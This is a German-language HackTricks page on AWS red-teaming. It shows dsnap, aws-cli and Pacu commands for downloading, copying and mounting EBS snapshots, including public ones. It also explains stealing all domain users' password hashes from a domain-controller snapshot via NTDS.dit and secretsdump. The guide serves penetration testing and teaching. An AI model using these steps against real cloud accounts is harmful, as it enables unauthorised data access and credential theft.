AWS - EBS Snapshot Dump

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Überprüfen eines Snapshots lokal

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

Hinweis: dsnap wird es Ihnen nicht erlauben, öffentliche Snapshots herunterzuladen. Um dies zu umgehen, können Sie eine Kopie des Snapshots in Ihrem persönlichen Konto erstellen und diesen herunterladen:

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

Für weitere Informationen zu dieser Technik lesen Sie die Originalforschung unter https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/

Sie können dies mit Pacu mithilfe des Moduls ebs__download_snapshots durchführen.

Überprüfen eines Snapshots in AWS

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

Hängen Sie es in einer EC2-VM unter Ihrer Kontrolle ein (es muss sich in derselben Region wie die Kopie des Backups befinden):

Schritt 1: Erstellen Sie ein neues Volume Ihrer bevorzugten Größe und Art, indem Sie zu EC2 –> Volumes gehen.

Um diese Aktion auszuführen, befolgen Sie diese Befehle:

  • Erstellen Sie ein EBS-Volume, das an die EC2-Instanz angehängt werden soll.

  • Stellen Sie sicher, dass das EBS-Volume und die Instanz in derselben Zone sind.

Schritt 2: Wählen Sie die Option "Volume anhängen", indem Sie mit der rechten Maustaste auf das erstellte Volume klicken.

Schritt 3: Wählen Sie die Instanz aus dem Instanz-Textfeld aus.

Um diese Aktion auszuführen, verwenden Sie den folgenden Befehl:

  • Hängen Sie das EBS-Volume an.

Schritt 4: Melden Sie sich bei der EC2-Instanz an und listen Sie die verfügbaren Laufwerke mit dem Befehl lsblk auf.

Schritt 5: Überprüfen Sie, ob das Volume Daten enthält, indem Sie den Befehl sudo file -s /dev/xvdf verwenden.

Wenn die Ausgabe des obigen Befehls "/dev/xvdf: data" zeigt, bedeutet dies, dass das Volume leer ist.

Schritt 6: Formatieren Sie das Volume im ext4-Dateisystem mit dem Befehl sudo mkfs -t ext4 /dev/xvdf. Alternativ können Sie auch das xfs-Format verwenden, indem Sie den Befehl sudo mkfs -t xfs /dev/xvdf verwenden. Beachten Sie, dass Sie entweder ext4 oder xfs verwenden sollten.

Schritt 7: Erstellen Sie ein Verzeichnis Ihrer Wahl, um das neue ext4-Volume zu mounten. Verwenden Sie beispielsweise den Namen "newvolume".

Um diese Aktion auszuführen, verwenden Sie den Befehl sudo mkdir /newvolume.

Schritt 8: Hängen Sie das Volume am Verzeichnis "newvolume" mit dem Befehl sudo mount /dev/xvdf /newvolume/ an.

Schritt 9: Wechseln Sie zum Verzeichnis "newvolume" und überprüfen Sie den Festplattenspeicher, um das gemountete Volume zu validieren.

Um diese Aktion auszuführen, verwenden Sie die folgenden Befehle:

  • Wechseln Sie zum Verzeichnis /newvolume.

  • Überprüfen Sie den Festplattenspeicher mit dem Befehl df -h .. Die Ausgabe dieses Befehls sollte den freien Speicherplatz im Verzeichnis "newvolume" anzeigen.

Dies können Sie mit Pacu mithilfe des Moduls ebs__explore_snapshots tun.

Überprüfen eines Snapshots in AWS (mit cli)

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

Schattenkopie

Jeder AWS-Benutzer, der die Berechtigung EC2:CreateSnapshot besitzt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen Snapshot des Domänencontrollers erstellt, ihn an eine von ihm kontrollierte Instanz anhängt und die Dateien NTDS.dit und SYSTEM-Registrierungshive für die Verwendung mit Impacket's secretsdump-Projekt exportiert.

Sie können dieses Tool verwenden, um den Angriff zu automatisieren: https://github.com/Static-Flow/CloudCopy oder Sie könnten eine der vorherigen Techniken verwenden, nachdem Sie einen Snapshot erstellt haben.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated